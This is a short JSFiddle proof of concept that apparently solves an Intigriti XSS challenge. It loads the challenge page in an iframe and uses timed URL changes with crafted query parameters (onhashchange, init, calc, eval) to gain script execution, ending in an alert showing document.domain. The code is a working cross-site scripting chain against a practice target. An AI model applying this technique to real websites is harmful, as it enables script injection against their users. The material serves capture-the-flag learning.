JSFiddle - React, Tailwind, and code Playground

HTML

<!DOCTYPE html>
<html>
<head>
<title>The real Intigriti</title>
<style>
body {
margin: 0px 4px 0px 0px;
}
</style>
</head>
<body>
<iframe id="chal" src="https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d&" width="100%" height="2000"></iframe>
<script>
var chal = document.getElementById('chal');
 setTimeout(function(){
      chal.contentWindow.location="https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d&num1=calc&num2=eval"; 
     },500);
setTimeout(function(){
      chal.contentWindow.location="https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d&num1=calc&num2=eval&num1=alert('achievement%20unlocked:%20unlimited%20swag%20vouchers%20'%2bdocument.domain)"; 
     },500);
</script>
</body>
</html>